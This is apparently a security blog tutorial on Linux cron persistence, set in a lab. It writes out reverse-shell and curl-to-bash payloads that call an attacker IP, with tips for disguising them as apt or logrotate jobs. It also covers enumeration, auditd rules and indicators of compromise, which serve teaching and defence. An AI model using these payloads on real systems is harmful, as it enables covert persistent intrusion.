Byte JMP
Linux Persistence: Abusing Cron for Survival Across Reboots

Linux Persistence: Abusing Cron for Survival Across Reboots

How an attacker with shell access turns the native Linux task scheduler into a persistent backdoor that survives reboots, runs silently, and blends with legitimate system operations.

·23 min read

TL;DR

Cron is the native task scheduler on virtually every Linux distribution. It runs commands at specified intervals under the identity of the user who owns the crontab, persists across reboots, and operates without any interactive session. An attacker with shell access can insert a reverse shell, a payload downloader, or a backdoor script into a user's crontab (or, with root access, into system level cron files) and maintain persistent access indefinitely. The scheduled job runs silently in the background, blends with legitimate system automation, and requires no modification to binaries or system services. No vulnerability is exploited: cron works exactly as designed.

  • MITRE ATT&CK: T1053.003 — Scheduled Task/Job: Cron
  • Tactic: Persistence, Execution, Privilege Escalation
  • Platform: Linux

Introduction

Persistence is what separates a one time shell from a reliable foothold. After gaining initial access to a Linux host, an attacker needs a mechanism that re-establishes the connection if the shell dies, the system reboots, or the user logs out. Crontab persistence is one of the oldest and most effective answers to that problem.

The technique works because cron is a core system service that administrators rely on for legitimate automation: log rotation, backups, certificate renewal, monitoring scripts. A single line buried among dozens of legitimate cron entries is easy to overlook, especially on systems where nobody audits crontabs regularly.

The barrier to entry is low. A standard unprivileged user can edit their own crontab without any special permissions, which means that any foothold, no matter how limited, can become a persistent one. With root access, the attacker gains additional options: system wide crontab files, drop-in directories, and periodic script directories that expand both stealth and flexibility.

This post explains how cron works under the hood, walks through the different locations an attacker can abuse, demonstrates practical persistence payloads, and covers enumeration and detection from both the offensive and defensive perspectives.


How Cron Works

The Cron Daemon

Cron is a time based job scheduler that runs as a daemon (crond on RHEL/CentOS/Fedora, cron on Debian/Ubuntu). The daemon starts at boot via systemd (or SysVinit on older systems) and runs continuously in the background. Every minute, it wakes up and checks whether any scheduled job matches the current time. If a match is found, it executes the command under the identity of the user who owns the entry.

The daemon reads job definitions from several locations, which is exactly what makes cron attractive for persistence: there are multiple places to hide, each with different access requirements and visibility.

Crontab Syntax

A crontab entry follows a five field time specification followed by the command to execute:

┌───────────── minute (0–59)
│ ┌───────────── hour (0–23)
│ │ ┌───────────── day of month (1–31)
│ │ │ ┌───────────── month (1–12)
│ │ │ │ ┌───────────── day of week (0–7, where 0 and 7 = Sunday)
│ │ │ │ │
* * * * *  command_to_execute

Special characters:

CharacterMeaningExample
*Every possible value* * * * * = every minute
,List of values0,15,30,45 * * * * = every 15 minutes
-Range of values9-17 * * * * = hours 9 through 17
/Step values*/5 * * * * = every 5 minutes

Shortcut strings are also supported on most distributions:

ShortcutEquivalent
@rebootRun once at startup
@hourly0 * * * *
@daily0 0 * * *
@weekly0 0 * * 0
@monthly0 0 1 * *

The @reboot directive is particularly relevant for persistence because it guarantees execution after every system restart, regardless of timing.

Where Cron Reads Its Jobs

The cron daemon pulls job definitions from several locations. Understanding each one is essential because they differ in access requirements, syntax, visibility, and stealth characteristics.

┌─────────────────────────────────────────────────────┐
│  User crontabs                                      │
│  /var/spool/cron/crontabs/<user>  (Debian/Ubuntu)   │
│  /var/spool/cron/<user>           (RHEL/CentOS)     │
│                                                     │
│  → Edited via: crontab -e                           │
│  → Access: any user can edit their own              │
│  → Syntax: NO user field (runs as the owning user)  │
│  → Visibility: only root and the owning user        │
└─────────────────────────────────────────────────────┘
           │
           ▼
┌─────────────────────────────────────────────────────┐
│  System crontab                                     │
│  /etc/crontab                                       │
│                                                     │
│  → Access: root only (write)                        │
│  → Syntax: includes a USER field after the time     │
│  → Visibility: readable by all users                │
└─────────────────────────────────────────────────────┘
           │
           ▼
┌─────────────────────────────────────────────────────┐
│  Drop-in directory                                  │
│  /etc/cron.d/                                       │
│                                                     │
│  → Access: root only (write)                        │
│  → Syntax: same as /etc/crontab (includes user)     │
│  → Visibility: readable by all users                │
│  → Each file is a separate job definition           │
└─────────────────────────────────────────────────────┘
           │
           ▼
┌─────────────────────────────────────────────────────┐
│  Periodic directories                               │
│  /etc/cron.hourly/                                  │
│  /etc/cron.daily/                                   │
│  /etc/cron.weekly/                                  │
│  /etc/cron.monthly/                                 │
│                                                     │
│  → Access: root only (write)                        │
│  → Syntax: executable scripts (no cron syntax)      │
│  → Executed by run-parts via /etc/crontab           │
└─────────────────────────────────────────────────────┘

Execution Context

This is the critical detail for persistence: cron executes each job as the user who owns the entry. A job in root's crontab runs as root. A job in the www-data crontab runs as www-data. Entries in /etc/crontab and /etc/cron.d/ explicitly specify the user in a sixth field between the time specification and the command.

Cron jobs run without an interactive terminal, without the user's full login environment, and without any session on the system. The PATH variable inside a cron job is typically minimal (/usr/bin:/bin), and variables like HOME, SHELL, and MAILTO can be overridden inside the crontab. This means payloads must use absolute paths or explicitly set the necessary environment.

Cron also does not log job output by default on most distributions. Standard output and standard error from cron jobs are sent to the local mail system (if configured) or silently discarded. Attackers exploit this by redirecting output to /dev/null, ensuring no trace of the execution remains in the mail spool.


Lab Configuration

The lab is intentionally minimal: one Linux target and one attacker machine.

Topology

MachineRoleOSIP
TARGETCompromised hostUbuntu 22.04 / Debian 1210.10.10.20
ATTACKERAttack machineKali Linux10.10.10.10

The target simulates a web server or general purpose Linux host where the attacker has obtained an initial shell as a low privilege user (www-data or a standard user). In some scenarios the attacker has escalated to root, which unlocks the system level persistence methods.

Users

www-data    Low privilege service account (web server)
devops      Standard user with sudo access (simulates escalation target)
root        Full system access

Required Tools

On ATTACKER (Kali): Netcat (nc) or ncat for catching reverse shells, socat for more stable connections, and a web server (python3 -m http.server) for serving payloads.

On TARGET: No additional tools required. The attack uses only native utilities: crontab, echo, bash, curl, and wget. This is one of the technique's advantages: nothing needs to be uploaded to the target for the persistence mechanism itself.


User Crontab Persistence

This is the most accessible method. Any user on a Linux system can edit their own crontab without elevated privileges, unless cron access has been explicitly restricted through /etc/cron.allow or /etc/cron.deny.

Prerequisites

RequirementDetail
Access levelShell as any user
Root requiredNo
Permissions neededAbility to run crontab -e (default: all users)
Survives rebootYes
VisibilityOnly root and the owning user can list the crontab

Adding a Reverse Shell

The most common persistence payload is a reverse shell that connects back to the attacker at regular intervals. If the connection drops, cron re-establishes it on the next cycle.

Method 1: One-liner via crontab -e

Open the crontab editor and add a line:

crontab -e

Append the following entry, which spawns a bash reverse shell every minute:

* * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'

The command uses bash's built-in /dev/tcp redirection to open a TCP connection to the attacker on port 4444. Standard input, output, and error are all redirected through the socket, producing an interactive shell. The cron daemon executes this every minute, so even if the attacker's listener is not running when the job fires, the next execution will connect as soon as the listener is up.

Method 2: Non-interactive insertion via command line

In a non-interactive shell (web shell, bind shell, limited reverse shell), the crontab -e approach does not work because there is no text editor available. Instead, pipe the new entry directly:

(crontab -l 2>/dev/null; echo '* * * * * /bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"') | crontab -

This command reads the current crontab (crontab -l), appends the new line, and pipes the result back to crontab - which installs it as the new crontab. The 2>/dev/null suppresses the error message if no crontab exists yet.

Method 3: Netcat reverse shell

On systems where bash does not support /dev/tcp (some minimal installations), use netcat instead:

(crontab -l 2>/dev/null; echo '* * * * * rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.10.10 4444 > /tmp/f') | crontab -

This creates a named pipe (mkfifo), connects it to a shell, and pipes the output through netcat. The rm /tmp/f at the beginning cleans up the pipe from the previous execution so the job can run repeatedly.

Method 4: Payload download and execute

Instead of embedding the payload directly in the crontab entry, download and execute a script from the attacker's server. This allows modifying the payload without touching the target's crontab:

(crontab -l 2>/dev/null; echo '*/5 * * * * curl http://10.10.10.10/payload.sh | bash') | crontab -

The cron job downloads payload.sh from the attacker every 5 minutes and pipes it directly to bash. The payload never touches disk (unless the script itself writes files), which avoids leaving artifacts in the filesystem.

Using @reboot for Startup Persistence

The @reboot directive runs a command once every time the cron daemon starts, which typically means after a system reboot:

(crontab -l 2>/dev/null; echo '@reboot /bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"') | crontab -

This is often combined with a periodic entry: @reboot fires immediately after boot, and a */5 * * * * entry maintains the connection afterward.

Catching the Shell

On the attacker machine, start a listener before the cron job fires:

nc -lvnp 4444

Expected output when the reverse shell connects:

listening on [any] 4444 ...
connect to [10.10.10.10] from (UNKNOWN) [10.10.10.20] 48372
bash: cannot set terminal process group (1234): Inappropriate ioctl for device
bash: no job control in this shell
www-data@target:~$

The cannot set terminal process group and no job control messages are normal for a cron-launched shell. Upgrade to a fully interactive TTY with:

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Then: Ctrl+Z
stty raw -echo; fg
export TERM=xterm

Verification

Confirm the crontab entry was installed:

crontab -l
* * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'

Verify the cron service is running:

systemctl status cron      # Debian/Ubuntu
systemctl status crond     # RHEL/CentOS

Check the cron log for execution evidence:

grep CRON /var/log/syslog           # Debian/Ubuntu
grep CRON /var/log/cron             # RHEL/CentOS
journalctl -u cron --since '5 min ago'  # systemd

System Crontab Persistence (/etc/crontab)

When the attacker has root access, the system crontab at /etc/crontab becomes available. This file has a different syntax from user crontabs: it includes a user field that specifies which user the command runs as.

Prerequisites

RequirementDetail
Access levelRoot shell
Root requiredYes
File location/etc/crontab
SyntaxIncludes user field
Survives rebootYes
VisibilityReadable by all users

The visibility is an important trade-off. Unlike user crontabs (which are only visible to the owning user and root), /etc/crontab is world-readable. Any user on the system can inspect its contents, which makes this method less stealthy than a user crontab.

Syntax Difference

User crontab:

* * * * * /bin/bash -c 'command'

System crontab (/etc/crontab):

* * * * * root /bin/bash -c 'command'
               ^^^^
               user field

Forgetting the user field is a common mistake. Without it, cron interprets the command incorrectly and the job either fails silently or runs as the wrong user.

Adding Persistence to /etc/crontab

Append a reverse shell entry running as root:

echo '* * * * * root /bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"' >> /etc/crontab

Or a payload downloader:

echo '*/5 * * * * root curl -s http://10.10.10.10/payload.sh | bash' >> /etc/crontab

The advantage of running as root through /etc/crontab is obvious: the reverse shell arrives with full system privileges. The trade-off is that any user on the system can read the file and notice the malicious entry.

Blending with Existing Entries

A default /etc/crontab on Debian/Ubuntu typically looks like this:

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

A skilled attacker avoids appending an obvious reverse shell at the end. Instead, they might insert a line that visually resembles a legitimate system job:

echo '*/10 * * * * root test -x /usr/lib/apt/apt.systemd.daily && /usr/lib/apt/apt.systemd.daily update 2>/dev/null || curl -s http://10.10.10.10/p | bash' >> /etc/crontab

At a glance, this looks like a standard apt maintenance job. The || operator means: if the first command fails (or if /usr/lib/apt/apt.systemd.daily does not exist), execute the fallback, which downloads and runs the payload. On a real system where the apt script exists, the attacker would place the payload in a path that mimics a system binary.

Verification

cat /etc/crontab

The newly added entry should appear at the end of the file. Check that the cron daemon picked up the change:

grep -i crontab /var/log/syslog | tail -5

Expected log entry:

Sep 30 14:01:01 target CRON[12345]: (root) CMD (/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.10.10/4444 0>&1")

Cron Drop-in Persistence (/etc/cron.d/)

The /etc/cron.d/ directory is arguably the best location for stealthy root level persistence. Each file in this directory is treated as an independent crontab with system crontab syntax (including the user field). The attacker creates a new file rather than modifying an existing one, which avoids touching files that administrators or monitoring tools might track for changes.

Prerequisites

RequirementDetail
Access levelRoot shell
Root requiredYes
File location/etc/cron.d/<filename>
SyntaxSame as /etc/crontab (includes user field)
Survives rebootYes
VisibilityReadable by all users

Why /etc/cron.d/ Is Effective for Persistence

Package managers use /etc/cron.d/ extensively. On a typical Debian/Ubuntu system, this directory contains files like e2scrub_all, php, sysstat, certbot, and others installed by system packages. A file named something like apt-compat or logcheck-update blends naturally into this collection.

Additionally, unlike /etc/crontab (which is a single file where modifications are obvious), /etc/cron.d/ contains many independent files. Administrators who review /etc/crontab periodically might never look inside /etc/cron.d/ at all.

Creating a Persistent Drop-in File

Create a file with a name that looks like a legitimate system package job:

echo '* * * * * root /bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"' > /etc/cron.d/apt-compat

For a more subtle approach, include the standard cron environment variables that legitimate drop-in files typically have:

cat > /etc/cron.d/logrotate-update << 'EOF'
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

*/10 * * * * root /usr/lib/update-notifier/update-motd-updates-available 2>/dev/null; curl -s http://10.10.10.10/p | bash
EOF

This file mirrors the format of legitimate system cron files: it sets the SHELL and PATH variables, runs at a reasonable interval (every 10 minutes), and the command starts with a legitimate system binary call before the payload. The semicolon chains the malicious command after the legitimate one.

File Permission Requirements

Cron enforces specific permission checks on files in /etc/cron.d/. The file must be:

  • Owned by root
  • Not world-writable (no o+w permission)
  • Not a symlink (on most distributions)

If these conditions are not met, cron silently ignores the file. Set the correct permissions explicitly:

chown root:root /etc/cron.d/logrotate-update
chmod 644 /etc/cron.d/logrotate-update

Verification

List the directory and confirm the file exists alongside legitimate entries:

ls -la /etc/cron.d/

Expected output:

total 28
drwxr-xr-x   2 root root 4096 Sep 30 14:05 .
drwxr-xr-x 100 root root 4096 Sep 30 12:00 ..
-rw-r--r--   1 root root  285 Apr 15  2024 e2scrub_all
-rw-r--r--   1 root root  165 Sep 30 14:05 logrotate-update
-rw-r--r--   1 root root  190 Jan  3  2024 php
-rw-r--r--   1 root root  396 Mar 12  2024 sysstat

The logrotate-update file sits naturally among the legitimate entries. Its timestamp is the only potential indicator, and on an actively maintained system, files in /etc/cron.d/ are updated regularly by package managers.


Periodic Directory Persistence (/etc/cron.daily, hourly, etc.)

Linux distributions provide four directories for scripts that run at fixed intervals:

DirectoryExecution frequencyTypical use
/etc/cron.hourly/Every hourQuick health checks, cache cleanup
/etc/cron.daily/Once per dayLog rotation, package updates, backups
/etc/cron.weekly/Once per weekFilesystem checks, report generation
/etc/cron.monthly/Once per monthQuota reports, archive cleanup

These directories are managed by run-parts, which is invoked from /etc/crontab or by anacron. The key difference from the previous methods is that files here are not crontab entries. They are executable scripts with no cron time syntax. run-parts simply executes every file in the directory that meets its naming criteria.

Prerequisites

RequirementDetail
Access levelRoot shell
Root requiredYes
File typeExecutable script (not a crontab entry)
Naming restrictionNo dots (.) or other special characters in filename
Survives rebootYes
Execution intervalDepends on directory (hourly, daily, weekly, monthly)

The Naming Trap

run-parts silently skips files whose names contain certain characters. On Debian/Ubuntu, filenames must match the regex ^[a-zA-Z0-9_-]+$. A file named backdoor.sh (containing a dot) will be silently ignored. Name the file without any extension:

# Correct — will be executed
/etc/cron.daily/logrotate-helper

# Wrong — silently skipped by run-parts
/etc/cron.daily/logrotate-helper.sh

This is a common mistake that causes the persistence to fail without any error message. Verify which files run-parts would execute:

run-parts --test /etc/cron.daily/

Creating a Persistent Script

Create a script in /etc/cron.daily/ that downloads and executes a payload:

cat > /etc/cron.daily/apt-compat-check << 'SCRIPT'
#!/bin/sh
curl -s http://10.10.10.10/daily.sh | sh
SCRIPT

chmod 755 /etc/cron.daily/apt-compat-check

Or a script that directly establishes a reverse shell:

cat > /etc/cron.hourly/sysstat-collect << 'SCRIPT'
#!/bin/sh
/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'
SCRIPT

chmod 755 /etc/cron.hourly/sysstat-collect

The #!/bin/sh shebang line is important. run-parts invokes the script without specifying an interpreter, so the script must declare its own.

Trade-offs

The periodic directories offer strong stealth because cron.daily scripts are expected on every Linux system and their names blend with system maintenance. However, the execution frequency is a significant limitation. /etc/cron.daily/ scripts typically run once per day (often at 6:25 AM on Debian, configured in /etc/crontab). This means the attacker's payload might not execute for up to 24 hours after placement. For faster callbacks, /etc/cron.hourly/ is more practical, or the attacker should combine a periodic script with a user crontab entry that runs more frequently.

Verification

List the directory contents and verify the file is present and executable:

ls -la /etc/cron.daily/

Test that run-parts recognizes the file:

run-parts --test /etc/cron.daily/

The output should include the attacker's script path alongside legitimate scripts like logrotate, apt-compat, and dpkg.


Enumeration

Enumeration serves two perspectives. An attacker landing on a box wants to discover existing cron jobs to understand what automation is running and identify persistence opportunities. A defender or incident responder wants to identify malicious cron entries across all users and system locations.

As a Low-Privilege User

List your own crontab:

crontab -l

Read the system crontab (world-readable):

cat /etc/crontab

List system cron drop-in files:

ls -la /etc/cron.d/

Read every file in the drop-in directory:

for f in /etc/cron.d/*; do echo "=== $f ==="; cat "$f"; echo; done

List scripts in the periodic directories:

ls -la /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/ 2>/dev/null

Check which systemd timers might also be running scheduled tasks (some distributions use timers alongside or instead of cron):

systemctl list-timers --all

As Root (Full Audit)

List every user's crontab on the system:

for user in $(cut -d: -f1 /etc/passwd); do
    crontab_output=$(crontab -u "$user" -l 2>/dev/null)
    if [ -n "$crontab_output" ]; then
        echo "=== $user ==="
        echo "$crontab_output"
        echo
    fi
done

Alternatively, on Debian/Ubuntu based systems, user crontabs are stored as files under /var/spool/cron/crontabs/ and can be read directly:

ls -la /var/spool/cron/crontabs/
cat /var/spool/cron/crontabs/*

On RHEL/CentOS/Fedora, the path is /var/spool/cron/:

ls -la /var/spool/cron/
cat /var/spool/cron/*

Complete Sweep (One-liner)

A single sweep that covers every cron location and highlights entries containing common persistence indicators:

echo "=== User crontabs ==="; for u in $(cut -d: -f1 /etc/passwd); do c=$(crontab -u "$u" -l 2>/dev/null); [ -n "$c" ] && echo "--- $u ---" && echo "$c"; done; echo; echo "=== /etc/crontab ==="; cat /etc/crontab; echo; echo "=== /etc/cron.d/ ==="; for f in /etc/cron.d/*; do echo "--- $f ---"; cat "$f"; done; echo; echo "=== Periodic scripts ==="; for d in /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly; do echo "--- $d ---"; ls -la "$d/" 2>/dev/null; done

Pipe the output through grep to flag suspicious patterns:

grep -rn 'bash -i\|/dev/tcp\|nc \|ncat \|curl.*|.*bash\|wget.*|.*sh\|python.*socket\|perl.*socket\|mkfifo\|socat' \
  /etc/crontab /etc/cron.d/ /var/spool/cron/ 2>/dev/null

Automated Tools

Several post-exploitation enumeration tools check cron automatically:

ToolCron check
linPEASEnumerates all cron locations, highlights writable cron files and suspicious entries
LinEnumLists crontabs, cron directories, and running cron jobs
pspyMonitors process creation in real time without root, catching cron job executions as they happen

pspy deserves special mention because it does not require root access and catches cron jobs at execution time rather than parsing files. This is valuable because some persistence mechanisms (like jobs installed by another user whose crontab the current user cannot read) are invisible through file enumeration but visible when they execute:

./pspy64

Expected output when a cron job fires:

2026/09/30 14:01:00 CMD: UID=0     PID=12345  | /usr/sbin/CRON -f
2026/09/30 14:01:00 CMD: UID=0     PID=12346  | /bin/sh -c /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'
2026/09/30 14:01:00 CMD: UID=0     PID=12347  | /bin/bash -i

The UID=0 indicates the job ran as root. A reverse shell to an external IP in a cron context is a clear indicator of compromise.


Detection and Defense

Logging and Monitoring

Cron logs every job execution to syslog. On Debian/Ubuntu, entries go to /var/log/syslog. On RHEL/CentOS, they go to /var/log/cron. These logs record the user, the PID, and the command that was executed.

Critical log entries to monitor:

Sep 30 14:01:01 target CRON[12345]: (www-data) CMD (/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.10.10/4444 0>&1')
Sep 30 14:01:01 target CRON[12346]: (root) CMD (curl -s http://10.10.10.10/p | bash)

Cron also logs crontab modifications:

Sep 30 13:55:00 target crontab[11234]: (www-data) REPLACE (www-data)
Sep 30 13:55:00 target crontab[11234]: (www-data) END EDIT

The REPLACE event indicates that a user's crontab was modified, which is a valuable detection signal. Forward these logs to a SIEM and alert on crontab changes for service accounts and system users that should not be modifying their own crontabs.

File Integrity Monitoring

Tools like AIDE, OSSEC, Tripwire, or auditd can monitor changes to cron-related files and directories:

PathWhat to monitor
/etc/crontabAny modification
/etc/cron.d/File creation, modification, deletion
/etc/cron.hourly/File creation, modification
/etc/cron.daily/File creation, modification
/etc/cron.weekly/File creation, modification
/etc/cron.monthly/File creation, modification
/var/spool/cron/File creation, modification (RHEL)
/var/spool/cron/crontabs/File creation, modification (Debian)

An auditd rule to monitor crontab changes:

# Monitor the crontab binary for executions
auditctl -w /usr/bin/crontab -p x -k crontab_modification

# Monitor the system crontab
auditctl -w /etc/crontab -p wa -k crontab_modification

# Monitor the drop-in directory
auditctl -w /etc/cron.d/ -p wa -k cron_dropin_modification

# Monitor user crontab spools
auditctl -w /var/spool/cron/ -p wa -k user_crontab_modification

To make these rules persistent across reboots, add them to /etc/audit/rules.d/cron.rules.

Indicators of Compromise

Common patterns in malicious cron entries that defenders should search for:

PatternIndicator
/dev/tcp/Bash reverse shell
nc or ncat with an IP and portNetcat reverse shell
mkfifoNamed pipe for shell redirection
curl | bash or wget | shRemote payload download and execution
python -c with socket importsPython reverse shell
perl -e with socket callsPerl reverse shell
socat with TCP connectSocat reverse shell
@reboot with a network connectionBoot persistence with callback
Entries pointing to /tmp/, /dev/shm/Scripts in world-writable locations
Base64 encoded commandsObfuscation attempt

References